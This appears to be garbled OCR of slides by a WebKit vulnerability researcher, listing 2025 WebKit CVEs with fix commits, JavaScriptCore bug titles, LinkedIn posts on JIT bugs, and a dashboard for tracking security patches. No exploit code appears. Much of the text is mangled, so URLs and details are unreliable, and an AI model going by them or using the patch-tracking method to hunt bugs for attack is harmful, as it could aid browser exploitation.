i CVE-2025-24213 OIS i //githulb.com/WebKit/WebKit/commit/4c65775f049beecAfe0ab0c1 243dcfa634bf33e
. 291506 (18.5) BBQJIT array operations should mask index to 32 bits
A 24/2 BBQJIT
2y operstioh's 8/24/25 | o\ 2025-31204 QJ https://githulb.com/WebKit/WebKit/commit/265dbd5abf60768af43aa05d63ffdf410a639c4d
289677 (18.5) WebGL: Generating mipmaps for 3D textures with depth greater than width, height causes crash
WebGL text /23/2 WebGL
ik /28125 o\ E-2025-31217 S https://github.com/WebKit/WebKit/commit/2f1c7a102f89c39591 befc6593b3415ed86d6342
. 288814 (18.5) Null pointer dereference in JavaScriptCore llint_op_call.
tant Fol 25 DFG Al
Congtant.Folding 6/5/25  oVE-2025-31215 G https://github.com/WebKit/WebKit/commit/ac09d7 4301828ad9f6e86626db9b4bd3cf00e285
; : . cell->1sObject() in when Abstractinterpreter handles GetGlobalObject
Global Obiject 5/93/25 290834 (18.5) DFEG [JSCJASSERTION FAILED: cell->isObject() in DFG when Ab I handles GetGlobalObj
CVE-2025-31206 https://github.com/WebKit/WebKit/commit/2a545562709ac7 a6facabde5f7902314f9feefcf
o 290992 (18.5) Tighten up cross-site access to CSSStyleSheet
- 5/24/25 CSSStyleSheet
cross-ongin CVE-2025-31205 MeSheet | ips:/github.com/WebKit/WebKit/commit/647e80ac22b36756d0b1 9403f0526fac8f62447a
Frame 6/4/25 290985 (18.5) Page / Use-after-free in LocalFrameView::setContentsSize

CVE-2025-31257

BackForwardCache https://github.com/WebKit/WebKit/commit/ddbf9329b2ca0320f16820b18c3ea88f5a534eb9

m) O Feature S TESH=C] U01M 01T Component 0|4 A5t B{IQIX| Ha)

comment

TDZ AALE 317] Aol dst ol &S AHAA 22 Temporary & THE 1L

HALE T3 Fol dst 2 K71 =5 4

eval ©|2t= 0|52} TDZ Wsrel] tf A= tdz A b3l =

catch £8 oA TDZ HAALE 314 &

1 + static_cast<size_t>(stringLength) * 6 + 1" can cause overflow

TypeConfusion

TypeConfusion, GlobalObject &= 34 object ©] 2. & ObjectUse =
AF-&-3] o3t

RefPtr & A}&3}7] Ao UAF 7} 21 S = 9l
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a2 - u

iOS Vulnerability Researcher
H .23 - ®

new/short post about a browser bug

19

O
[ |

FF
=

. Des glaneuses de bugs
rls1004.github.io

a4y -y
iOS Vulnerability Researcher

@ g7he - ®

Exploring a WASM bug with a short analysis.

[Bugs 284332] JSC: Incorrect bounds check in arraylnitData - E7|

O
-

T
FH
2>

[Bugs 284332] JSC: Incorrect bounds check in
arraylnitData
rls1004.github.io

135 0|22 H1 7|0]A FE|

#4d - v

iOS Vulnerability Researcher
5/ - @

new code, new bug :

1. A new DFG node, ' NewRegExpUntyped™ was added to improve "new
RegExp(...)" optimizations with better type info.
https://Inkd.in/gjiQVbrK

2. But incorrect side effect modeling (missing " clobberWorld ™) led to a
quick fix just 2 days later.
https://Inkd.in/g-BiY2JD

3. And another fix was made within 2 months due to unreliable type
inference
https://Inkd.in/gv-5uKEm

o HA|
oo Add [JSC] Add NewRegExpUntyped DFG node -
DFanode. WebKit/WebKit@d8448d0
P o github.com

Mark Mitchell

Senior Security Engineering Manager at Apple

Mark Mitchell @ - 2% 7:11

| think watching your posts on LinkedIn is a better
feed of bugs than our internal bug tracker, haha

R

K1 EEfHE
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Repo Dashboard
Commits

®8 Pull Requests

Trigger Crawl

SHA

b5148db

7b53a04

80e4834

f3f7e78

€132906

fbe@173

0508a42

5131e83

4682763

8ddo1d5

faa0083

A=5t + Ul (AES...)

Commits Updated: 9/19/2025, 2:33:28 PM

1-110f11 Rows 20

Title

Avoid a validation failure while creating a Wasm array with array.new_elem

[JSC] Fix RegExp constant folding with materialized NewRegExp nodes in DFG strength
reduction

[Cherry-pick] [JSC]ASSERTION FAILED: !needsSlowPutindexing() at ensureArrayStorageSlow

[Cherry-pick] ASSERTION FAILED: constructor.isObject() when OSR from an inlined function

[Cherry-pick] [JSC] Fix instanceof metadata fields in
LLIntPrototypelLoadAdaptiveStructureWatchpoint

[Cherry-pick] gUM() for video does not issue permission request after muting and requesting
gUM() for audio

[Cherry-pick] OMG stack slots should be positioned at the beginning of the OSR buffer when
IPInt OSR layout is used

[Cherry-pick] [JSC]ASSERTION FAILED: IneedsSlowPutindexing() at ensureArrayStorageSlow

[Cherry-pick] ASSERTION FAILED: constructor.isObject() when OSR from an inlined function

[Cherry-pick] [JSC] Fix instanceof metadata fields in
LLIntPrototypelLoadAdaptiveStructureWatchpoint

[Cherry-pick] gUM() for video does not issue permission request after muting and requesting
gUM() for audio

1-110f11 Rows 20 v

Page1/1

Date Features

9/19/2025, 6:13:39
AM

9/18/2025, 9:42:44
AM

7[29/2025, 5:17:17
AM

7[22/2025, 7:43:36
PM

7/22[2025, 7:19:27
PM

7[21/2025, 8:23:41
AM

7[/29/2025, 6:51:53
AM

7/29/2025, 5:17:17
AM

9/16/2025, 3:48:04
AM

71222025, 7:19:27
PM

7[/21/2025, 8:23:41
AM

Page 1/1




Future work

Repo Dashboard

Commits

® Pull Requests

A=5t + Ul (AES...)

Commits Updated: 9/19/2025, 2:33:28 PM

1-110f 11 Rows 20 v Page1/1
SHA Title
b5148db Avoid a validation failure while creating a Wasm array with array.new_elem
SHA Date
b5148dblc4clac 9/19/2025, 6:13:39 AM
fd8cdeb2c33c0b
26fclb4223d3
Features Components
CVEs Link

Open on GitHub

diff

diff —-—git a/JSTests/wasm/gc—-spec—harness/wasm—-module-builder.js b/JSTests/wasm/gc-spec—-harness/wasm—-module-builder.js
new file mode 100644

index 000000000000..8e5042deb6cd

——— /dev/null

+++ b/JSTests/wasm/gc-spec—harness/wasm—module-builder.js

@@ -0,0 +1,2497 @@

+// Copyright 2016 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.

+

+// Used for encoding f32 and double constants to bits.
+let byte_view = new Uint8Array(8);

+let data_view = new DataView(byte_view.buffer);
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